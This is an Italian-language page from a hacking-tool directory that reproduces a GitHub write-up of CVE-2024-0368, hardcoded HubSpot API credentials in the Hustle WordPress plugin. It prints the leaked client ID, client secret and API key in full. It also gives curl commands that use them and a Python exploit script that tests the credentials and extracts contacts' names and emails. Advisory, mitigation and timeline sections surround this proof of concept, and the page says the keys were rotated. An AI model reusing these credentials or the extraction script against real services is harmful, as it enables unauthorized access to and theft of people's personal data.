Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-0368 — Hustle Plugin <= 7.8.3 contiene credenziali API di HubSpot hardcoded in inc/providers/hubspot/hustle-hubspot-api.php | Kitploit
Strumenti/GitHubGitHub/randomrobbiebf/cve-2024-0368
Analisi delle VulnerabilitàExploitRaccolta InformazioniSicurezza WebRilevamento SegretiApprendimento e Formazione
GitHubrandomrobbiebf/cve-2024-0368

CVE-2024-0368

Hustle Plugin <= 7.8.3 contiene credenziali API di HubSpot hardcoded in inc/providers/hubspot/hustle-hubspot-api.php

Vedi Repository
17 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-0368

Il plugin Hustle <= 7.8.3 contiene credenziali dell'API HubSpot hardcoded in inc/providers/hubspot/hustle-hubspot-api.php

Riepilogo della vulnerabilità

CampoValore
ID CVECVE-2024-0368
TitoloHustle <= 7.8.3 - Esposizione di Informazioni Sensibili tramite Chiavi API HubSpot Esposte
Punteggio CVSS8.6 (Alto)
Plugin interessatoHustle - Email Marketing, Lead Generation, Optins, Popups (wordpress-popup)
Versioni vulnerabili<= 7.8.3
Versione corretta7.8.4
Tipo di vulnerabilitàCWE-200: Esposizione di Informazioni Sensibili

Analisi tecnica

Posizione del codice vulnerabile

File: inc/providers/hubspot/hustle-hubspot-api.php

root@kitploit:~
class Hustle_HubSpot_Api extends Opt_In_WPMUDEV_API {
    const CLIENT_ID     = '5253e533-2dd2-48fd-b102-b92b8f250d1b';
    const CLIENT_SECRET = '2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca';
    const HAPIKEY       = 'db9600bf-648c-476c-be42-6621d7a1f96a';
    const BASE_URL      = 'https://app.hubspot.com/';
    const API_URL       = 'https://api.hubapi.com/';
    const SCOPE         = 'oauth crm.objects.contacts.write crm.lists.read crm.objects.contacts.read crm.schemas.contacts.write crm.schemas.contacts.read crm.lists.write';

Credenziali esposte

Ambiti OAuth (Accesso potenziale)

La configurazione OAuth hardcoded richiedeva i seguenti ambiti HubSpot:

  • oauth - Autenticazione OAuth
  • crm.objects.contacts.write - Creare/modificare contatti
  • crm.objects.contacts.read - Leggere informazioni di contatto (PII)
  • crm.lists.read - Leggere liste di marketing
  • crm.lists.write - Modificare liste di marketing
  • crm.schemas.contacts.write - Modificare schemi di contatti
  • crm.schemas.contacts.read - Leggere schemi di contatti

Spiegazione della vulnerabilità

Causa principale

WPMUDEV ha hardcoded le proprie credenziali dell'applicazione OAuth HubSpot direttamente nel codice sorgente del plugin. Ciò viola le buone pratiche di sviluppo sicuro in quanto:

  1. Esposizione pubblica: I plugin WordPress sono open source - il codice è disponibile pubblicamente nel repository SVN di wordpress.org
  2. Distribuzione di massa: Il plugin Hustle ha oltre 100.000 installazioni attive
  3. Credenziali condivise: Tutte le installazioni del plugin condividono le stesse credenziali API

Vettore d'attacco

Un attaccante potrebbe:

  1. Scaricare il plugin vulnerabile da wordpress.org
  2. Estrarre le credenziali hardcoded dal sorgente PHP
  3. Utilizzare queste credenziali per autenticarsi all'API di HubSpot
  4. Accedere all'account HubSpot di WPMUDEV e a qualsiasi dato elaborato tramite la loro integrazione

Impatto potenziale

Con credenziali valide, un attaccante potrebbe potenzialmente:

  • Leggere PII: Accedere alle informazioni di contatto (nomi, email, numeri di telefono, indirizzi)
  • Modificare dati: Creare, aggiornare o eliminare contatti in HubSpot
  • Accesso alle liste di marketing: Visualizzare e manipolare le liste di marketing
  • Esfiltrazione dati: Estrarre dati degli iscritti dai siti che utilizzano l'integrazione Hustle + HubSpot

Prova di concetto

Passo 1: Individuare il file vulnerabile

root@kitploit:~
# From WordPress installation
cat wp-content/plugins/wordpress-popup/inc/providers/hubspot/hustle-hubspot-api.php | grep -A3 "const CLIENT"

Output:

root@kitploit:~
const CLIENT_ID     = '5253e533-2dd2-48fd-b102-b92b8f250d1b';
const CLIENT_SECRET = '2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca';
const HAPIKEY       = 'db9600bf-648c-476c-be42-6621d7a1f96a';

Passo 2: Testare l'accesso tramite chiave API (Contatti)

root@kitploit:~
curl -X GET "https://api.hubapi.com/crm/v3/objects/contacts?hapikey=db9600bf-648c-476c-be42-6621d7a1f96a&limit=10"

Nota: Al momento del test, la chiave API è stata ruotata/scaduta (previsto dopo la divulgazione):

root@kitploit:~
{
  "status": "error",
  "message": "The API key used to make this call is expired.",
  "category": "EXPIRED_AUTHENTICATION"
}

Passo 3: Testare il flusso OAuth

root@kitploit:~
curl -X POST "https://api.hubapi.com/oauth/v1/token" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "grant_type=client_credentials&client_id=5253e533-2dd2-48fd-b102-b92b8f250d1b&client_secret=2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca"

Risposta: Le credenziali sono state invalidate.

Script di sfruttamento (Python)

root@kitploit:~
#!/usr/bin/env python3
"""
CVE-2024-0368 - HubSpot API Key Exposure PoC
Hustle Plugin <= 7.8.3

This script demonstrates the vulnerability by attempting to use
the exposed credentials to access HubSpot API.

For authorized security testing only.
"""

import requests
import json

# Hardcoded credentials from vulnerable plugin
CREDENTIALS = {
    "client_id": "5253e533-2dd2-48fd-b102-b92b8f250d1b",
    "client_secret": "2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca",
    "hapikey": "db9600bf-648c-476c-be42-6621d7a1f96a"
}

HUBSPOT_API = "https://api.hubapi.com"

def test_api_key():
    """Test if the leaked API key is still valid"""
    print("[*] Testing HubSpot API Key...")

    url = f"{HUBSPOT_API}/crm/v3/objects/contacts"
    params = {"hapikey": CREDENTIALS["hapikey"], "limit": 1}

    response = requests.get(url, params=params)
    data = response.json()

    if response.status_code == 200:
        print("[+] API Key is VALID - Vulnerability Exploitable!")
        print(f"[+] Retrieved contact data: {json.dumps(data, indent=2)}")
        return True
    else:
        print(f"[-] API Key status: {data.get('message', 'Unknown error')}")
        return False

def test_oauth():
    """Test OAuth client credentials"""
    print("[*] Testing OAuth credentials...")

    url = f"{HUBSPOT_API}/oauth/v1/token"
    data = {
        "grant_type": "client_credentials",
        "client_id": CREDENTIALS["client_id"],
        "client_secret": CREDENTIALS["client_secret"]
    }

    response = requests.post(url, data=data)
    result = response.json()

    if "access_token" in result:
        print("[+] OAuth credentials VALID - Got access token!")
        return result["access_token"]
    else:
        print(f"[-] OAuth status: {result.get('message', 'Invalid credentials')}")
        return None

def extract_contacts(api_key=None, access_token=None):
    """Extract contacts if credentials are valid"""
    print("[*] Attempting to extract contacts...")

    url = f"{HUBSPOT_API}/crm/v3/objects/contacts"
    headers = {}
    params = {"limit": 100}

    if access_token:
        headers["Authorization"] = f"Bearer {access_token}"
    elif api_key:
        params["hapikey"] = api_key

    response = requests.get(url, headers=headers, params=params)

    if response.status_code == 200:
        contacts = response.json()
        print(f"[+] Successfully extracted {len(contacts.get('results', []))} contacts")
        for contact in contacts.get("results", [])[:5]:
            props = contact.get("properties", {})
            print(f"    - {props.get('email', 'N/A')} | {props.get('firstname', '')} {props.get('lastname', '')}")
        return contacts

    return None

if __name__ == "__main__":
    print("=" * 60)
    print("CVE-2024-0368 - Hustle Plugin HubSpot API Key Exposure")
    print("=" * 60)
    print()

    # Test leaked credentials
    api_valid = test_api_key()
    access_token = test_oauth()

    print()
    if api_valid or access_token:
        print("[!] VULNERABILITY CONFIRMED - Credentials are still active!")
        extract_contacts(
            api_key=CREDENTIALS["hapikey"] if api_valid else None,
            access_token=access_token
        )
    else:
        print("[*] Credentials have been rotated (expected post-disclosure)")
        print("[*] Vulnerability exists in code - credentials were exposed")

    print()
    print("=" * 60)

Risultati della verifica

Ambiente:

  • WordPress: in esecuzione su Docker
  • Versione del plugin: 7.8.2 (Vulnerabile)
  • File vulnerabile: Confermato presente con credenziali hardcoded

Stato delle credenziali:

  • Chiave API (HAPIKEY): Scaduta/Ruotata (post-divulgazione)
  • Credenziali OAuth: Invalidato (post-divulgazione)

Conclusione: La vulnerabilità è confermata - le credenziali hardcoded esistono nel codice sorgente ed erano precedentemente sfruttabili. WPMUDEV ha ruotato le credenziali a seguito della divulgazione responsabile.

Mitigazione

Correzione del fornitore (v7.8.4+)

La patch rimuove le credenziali hardcoded e implementa una corretta archiviazione delle credenziali:

  • Credenziali spostate nella configurazione del database/dell'ambiente
  • Gli utenti ora devono configurare le proprie credenziali API HubSpot
  • Nessuna credenziale condivisa tra installazioni

Raccomandazioni per gli utenti

  1. Aggiornare immediatamente: Aggiornare a Hustle 7.8.4 o successivo
  2. Riconfigurare HubSpot: Configurare l'integrazione HubSpot con le proprie credenziali
  3. Controllare i log di accesso: Verificare HubSpot per accessi API non autorizzati durante il periodo vulnerabile

Cronologia

DataEvento
2024-01-05CVE-2024-0368 Pubblicato
2024-03-08Patch rilasciata nella versione 7.8.4
Post-divulgazioneCredenziali ruotate da WPMUDEV

Riferimenti

  • Wordfence Advisory
  • WordPress Plugin Changeset
  • Documentazione API HubSpot
  • NVD Entry

Generato per scopi di ricerca sulla sicurezza autorizzati

Scarica lo strumento
CredenzialeValoreScopo
CLIENT_ID5253e533-2dd2-48fd-b102-b92b8f250d1bIdentificatore applicazione OAuth2
CLIENT_SECRET2ed54e79-6ceb-4fc6-96d9-58b4f98e6bcaSegreto client OAuth2
HAPIKEYdb9600bf-648c-476c-be42-6621d7a1f96aChiave API legacy HubSpot